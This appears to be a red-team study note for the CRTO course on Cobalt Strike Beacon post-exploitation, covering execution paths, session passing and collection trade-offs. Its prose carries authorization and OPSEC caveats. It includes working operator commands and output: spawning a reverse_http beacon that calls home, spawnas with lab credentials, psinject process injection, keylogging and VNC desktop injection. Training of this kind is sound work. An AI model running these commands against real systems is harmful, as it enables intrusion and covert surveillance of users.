Skills · learning

Post-Exploitation

Table of Contents

• Scope and purpose
• The post-exploitation decision loop
  • Situation awareness checklist
• Beacon command behavior
  • Execution-path decision map
  • Housekeeping
  • API-only commands
  • Inline execution
  • Fork-and-run and explicit injection
• Session passing
  • spawnas and token context
• File system and registry awareness
  • Browser views and collection boundaries
• Screen, keyboard, and desktop collection
• Command execution: shell versus run
• Custom tools and tool choice
• PowerShell execution paths
  • powershell
  • powerpick
  • psinject
  • PowerShell execution versus a BOF
  • Importing a PowerShell script
• .NET execution
• Fact-check status
• Practical review prompts

Post-Exploitation

Quick references: task-first command sheet · detailed command reference · exam navigator

Scope and purpose

Post-exploitation is the phase in which an operator turns an initial foothold into useful access to the engagement objectives. The objective is not simply to run more commands. It is to understand the current access, identify the next safe decision, collect the evidence needed to support that decision, and avoid unnecessary exposure.

The activities in this note are for systems owned by, or explicitly authorized by, the engagement owner and the CRTO lab.

The post-exploitation decision loop

Use this loop after obtaining a Beacon or other authorized foothold:

1. Orient: identify the host, user, integrity level, architecture, domain, session, and available network position.
2. Map: inspect files, drives, processes, services, defensive controls, logged-on users, credentials, shares, and reachable hosts.
3. Choose: decide whether the next objective is collection, privilege escalation, credential access, lateral movement, or a new session.
4. Execute with context: choose an execution method that fits the required user, process, architecture, privilege, and OPSEC constraints.
5. Validate: confirm the expected evidence arrived and that the action did not merely appear to succeed in the operator console.
6. Clean up and record: stop temporary jobs, remove lab artifacts when the exercise requires it, and record what changed and what remains unknown.

Situation awareness checklist

• Which user and security context does the current session use?
• Is the process 32-bit or 64-bit, and does that affect the next tool?
• What is the host name, domain or workgroup, and current network location?
• What files, shares, mapped drives, browser data, or configuration data are relevant to the objective?
• Which processes and services are running, and which security controls are visible (for example, AV, EDR, Sysmon, or LAPS-related configuration)?
• Which PowerShell and .NET versions are available?
• Which users are logged on, and what privileges or tokens may be available?
• Which other hosts and services are reachable, and which accounts can access them?

The answer to these questions should drive the next action. Reconnaissance is not valuable merely because it produces a long list.

Beacon command behavior

Cobalt Strike groups Beacon behavior into useful operational categories. The exact list can change between releases, so use help and the version-matched manual as the authority for a specific lab.

Execution-path decision map

Choose by required behavior, not by the tool's reputation. A command can be read-oriented yet still spawn a process; an in-process capability can be intrusive; and a successful task can still produce an exam OPSEC alert. The installed version's help and the actual implementation path decide the details.

flowchart TD
    A[What capability is needed?] --> B{Built into Beacon?}
    B -->|Yes| C[Check API or BOF behavior]
    B -->|No| D{PowerShell semantics?}
    D -->|Yes| E[Compare powershell / powerpick / psinject]
    D -->|No| F[Check assembly or external-process path]
    C --> G[Verify process, identity, side effects and result]
    E --> G
    F --> G

OPSEC gate: an API-only or in-process label does not mean "safe." File reads, remote queries, token changes and network connections remain observable. Fork-and-run and psinject add different process, memory and named-pipe or injection signals. Decide from the actual objective, target, process and current defense, then verify the result rather than guessing from the command name.

Exam label Treat child-process execution, fork-and-run, explicit injection, credential/ticket access, lateral movement, persistence and sensitive state changes as NOT OPSEC SAFE BY DEFAULT - REVIEW BEFORE RUNNING. API-only and inline checks may be lower-cost, but they are still observable and are not automatically OPSEC-safe.

Housekeeping

These commands configure Beacon or manage its jobs rather than directly performing the objective. Examples include help, jobs, jobkill, sleep, ppid, and spawnto.

Use when: preparing the session, changing its behavior, or managing a temporary post-exploitation task.

OPSEC note: changing a setting does not make the resulting behavior invisible. Record the setting and consider how the host would observe it.

API-only commands

These use Beacon's built-in Windows API functionality for tasks such as cd, cp, download, drives, ls, ps, pwd, rm, and upload.

Use when: Beacon already has the capability and a new child process or PowerShell host is unnecessary.

Why it matters: process creation is not the only detection surface, but avoiding an unnecessary child process can reduce noise and complexity.

Inline execution

inline-execute loads a Beacon Object File (BOF) through Beacon's in-memory linking and loading path. The BOF runs in Beacon's process, so a crash in the BOF can also terminate or destabilize Beacon.

Use when: the required, trusted lab capability is available as a BOF and running it in the current Beacon is acceptable.

Trade-off: fewer process-creation artifacts can mean greater blast radius to the session itself. Treat each BOF as code executing inside Beacon, not as a harmless command.

Fork-and-run and explicit injection

Fork-and-run starts a temporary process and injects a post-exploitation task into it. Explicit injection targets an existing process. In the current Cobalt Strike documentation, powerpick is fork-and-run only, psinject is target-explicit only, and several commands support either pattern; the list is release dependent.

Use fork-and-run when: isolation and a disposable process are more important than the extra process and injection telemetry.

Use explicit injection when: the task must run in a particular process context and the lab permissions and architecture allow it.

Do not assume: “in memory” means undetectable, or that explicit injection is always safer. The target process, access rights, parent process, loaded modules, and EDR telemetry all matter.

Session passing

Session passing means creating or moving to another Beacon session from an existing session, often to use a different listener, architecture, user context, or network path.

The direct pattern is spawn:

beacon> help spawn
Use: spawn [x86|x64] [listener]
     spawn [listener]

Spawn an x86 or x64 process and inject shellcode for the listener.

beacon> spawn x64 http
[*] Tasked beacon to spawn (x64) windows/beacon_http/reverse_http (www.bleepincomputer.com:80)
[+] host called home, sent: 350863 bytes

The output above is retained as a course/lab example, not as a guarantee that a spawn will connect. The new session depends on architecture, listener reachability, process creation, injection permissions, and the selected Cobalt Strike version.

spawnas and token context

spawnas attempts to create a session with supplied credentials:

beacon> cd C:\
beacon> spawnas CONTOSO\rsteel Passw0rd! tcp-local

The credentials and domain in this block are course/lab material. Never reuse them outside the authorized lab.

spawnas commonly fails from a SYSTEM context because SYSTEM is not providing a normal interactive user logon. In that situation, the course may use make_token to create a token for the desired credentials. A token changes the security context available to a process or thread; it does not automatically grant every privilege or guarantee an elevated integrity level. Validate the result with an identity check and by testing the specific access required.

Working-directory failure: in the course example, the alternate user could not start a process from Beacon's current directory, and Windows reported error 267 (ERROR_DIRECTORY). The current directory is part of process creation context; confirm the new user's access to it before concluding that the credentials or listener failed. A new Beacon still needs its own host, identity and route checks.

File system and registry awareness

Use Beacon's file-system commands to orient yourself, including ls, cd, drives, download, and registry inspection where supported. Check for multiple drives, relevant shares, mapped paths, configuration files, and evidence tied to the engagement objective.

beacon> download C:\Users\pchilds\Desktop\desktop.ini

Downloading a file is not automatically justified because it is available. First define why it is relevant, how it will be handled, and whether the engagement allows collection of that data.

download and Sync Files are different transfers In the course workflow, Beacon transfers the file from the target to the Team Server. A completed download appears under View ? Downloads; Sync Files then copies the selected completed file from the Team Server to the local Cobalt Strike client computer. downloads reports transfers still in progress. Record where a sensitive file exists at each stage and remove only authorized test copies when the engagement ends.

Browser views and collection boundaries

The File Browser and Process Browser are operator views over Beacon data, not a faster path around Beacon check-ins. Directory and process requests still need a response from the current session. A missing process owner, architecture, or session field can reflect insufficient access rather than proof that the process has no owner. The File Browser's displayed history is a client-side working view; preserve only authorized evidence that the engagement needs.

Downloaded files, keystrokes, clipboard content and screenshots may contain unrelated personal or credential data. Scope collection to the objective, limit retention and local copies, and remember that a team server can expose collected material to other connected operators. The target -> Team Server -> local client path matters for custody and cleanup.

Screen, keyboard, and desktop collection

These capabilities are intrusive and should be used sparingly and only when the objective requires them:

• keylogger records keystrokes from a selected or temporary process. In the Beacon client, its output is viewed through the keystrokes view rather than the ordinary task console. It is a continuing job until stopped.
• clipboard reads text currently on the clipboard; this can be sensitive even when the objective did not call for credential collection.
• printscreen forces a Print Screen keypress, reads the screenshot from the clipboard, and clears the clipboard afterward. This is different from a quiet screenshot and can affect the user.
• screenshot captures the visible desktop once.
• screenwatch captures periodically until its job is stopped.
• desktop starts a reflective VNC-style remote desktop capability and uses a reverse port forward; its exact behavior and options are version dependent.

beacon> help desktop
Use: desktop [pid] [x86|x64] [high|low]
     desktop [high|low]

Injects a VNC server onto the target and connects to it. You may specify
whether or not the session is high or low-quality.

beacon> desktop high
[*] Tasked beacon to spawn VNC server
[+] started port forward on 5117 to 127.0.0.1:5117

Command execution: shell versus run

shell asks the target to execute through cmd.exe. run executes the target program without cmd.exe and returns output. Both create a process, so neither should be described as “free” from an OPSEC perspective.

beacon> shell whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ============================================
dev\\bfarmer S-1-5-21-569305411-121244042-2357301523-1104

beacon> run whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ============================================
dev\\bfarmer S-1-5-21-569305411-121244042-2357301523-1104

OPSEC interpretation: shell adds a cmd.exe hop; run starts the program directly. Both can create visible processes, and the program they start may create further file, network or security events. "Bad OPSEC" is a prompt to justify the process and use a narrower built-in check when it answers the same question, not a claim that every run or shell is forbidden or that another method is invisible.

Use help <command> in the lab when unsure about a command's execution model.

Custom tools and tool choice

Examples from the course include Seatbelt for local reconnaissance, PowerView for domain reconnaissance, Certify/Certipy for AD CS assessment, Rubeus for Kerberos-related work, and Impacket for selected network protocols, credential access, or relaying workflows. These are categories, not automatic reasons to run every tool.

Before loading a tool, ask what decision it supports, what privileges it needs, what data it collects, and what telemetry it creates. Tool names and behavior can change; confirm the version and the lab objective first.

PowerShell execution paths

powershell

Beacon's powershell command uses powershell.exe, so it is roughly analogous to shell using cmd.exe, but with PowerShell as the host. In the course example, Beacon encodes the supplied command before invoking PowerShell:

beacon> powershell $env:computername

LON-WKSTN-1

-EncodedCommand is an encoding and transport format, not encryption or proof of evasion. Microsoft documents that the value is Base64-encoded UTF-16LE text.

powerpick

powerpick runs PowerShell through unmanaged PowerShell APIs without launching powershell.exe. Cobalt Strike documents it as a fork-and-run command that injects the unmanaged PowerShell component into Beacon's configured spawn-to process and returns output over a named pipe.

beacon> powerpick $env:computername

LON-WKSTN-1

psinject

psinject runs unmanaged PowerShell inside a specified existing process:

beacon> psinject 3020 x64 $PID

[*] Tasked beacon to psinject: $PID into 3020 (x64)

3020

The target PID, architecture, process access rights, token context, and security products all affect whether this works. It is not simply “PowerShell without a process.” It uses an existing process and therefore creates a different injection and detection profile.

PowerShell execution versus a BOF

psinject and inline-execute solve different problems:

• psinject is an existing-process PowerShell execution path. It needs a specific process that Beacon can access, compatible architecture, and a PowerShell command or imported script. The selected process's actual token and outbound context must be verified; its owner name alone does not prove useful rights.
• inline-execute runs a compiled BOF, not an arbitrary PowerShell script, inside the current Beacon process. It does not select another user's process. It avoids a new post-ex process for that BOF but puts the BOF's stability and side effects inside Beacon.
• powershell-import loads one script's functions for later PowerShell execution paths; importing it alone is not the same as running its functions. The next powershell, powerpick, or psinject command determines where execution occurs.

Decision: if the capability exists only as PowerShell, compare the available PowerShell paths and their target/process costs. If a trusted BOF implements the needed bounded check, consider its in-process behavior and crash risk. Do not substitute a BOF name for a PowerShell cmdlet or choose psinject solely to borrow an apparent process owner.

Importing a PowerShell script

powershell-import imports a script into Beacon so that later powershell, powerpick, and psinject commands can use its cmdlets. The current Cobalt Strike documentation notes that Beacon holds one imported PowerShell script at a time; use the version-matched documentation for clearing or replacing it.

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

.NET execution

Many offensive tools are written in C# and target .NET. Beacon therefore needs a mechanism to execute .NET tooling, such as execute-assembly, in addition to the PowerShell paths above. The exact loading, process, and OPSEC behavior depends on the Beacon version and the command selected; confirm it in the release-matched manual rather than treating all .NET execution as one technique.

Fact-check status

• Verified: the Beacon categories, shell/run, PowerShell command paths, imported-script behavior, session passing, and screenshot/printscreen behavior against the current Cobalt Strike documentation linked in the front matter.
• Corrected: printscreen does send a Print Screen keypress and uses the clipboard; it is not a passive clipboard screenshot. run does not mean “without OPSEC”; it means without cmd.exe. A token or spawnas result does not automatically mean SYSTEM or high integrity.
• Verified 2026-11-06: Fortra describes download as a transfer to the Team Server and Sync Files as the separate transfer to the local client; its current command documentation distinguishes psinject, powerpick, BOF execution, run, and shell.
• Version-dependent: command classification, default spawn-to process, process-injection details, desktop implementation, and .NET execution behavior.
• Lab-specific: host names, usernames, PIDs, listener names, screenshots, command output, and the example credentials above.

Practical review prompts

1. You have a low-privilege Beacon and a file server is your objective. What would you establish before choosing collection, escalation, or lateral movement?
2. A task needs PowerShell functionality but you want to avoid creating an unnecessary powershell.exe process. Which execution path would you compare, and what evidence and trade-offs would you check?
3. A spawnas task fails from a SYSTEM Beacon. What does that failure suggest about the logon/token context, and how would you validate the replacement session without assuming it is elevated?
4. A command works with powerpick but fails with psinject. What differences in process target, architecture, token, and process access rights could explain that result?
5. When would printscreen, screenshot, or screenwatch be justified, and what user impact, telemetry, or cleanup would you account for?
6. A file shows "download complete" in Beacon but is absent from your laptop. Where is it, and what separate transfer remains?
7. Why is psinject not interchangeable with inline-execute, even if both avoid a visible powershell.exe process?
8. When would run be justified despite process-creation telemetry, and what evidence would distinguish its effect from shell?

This is a living study note. Sources and understanding may change as it is reviewed.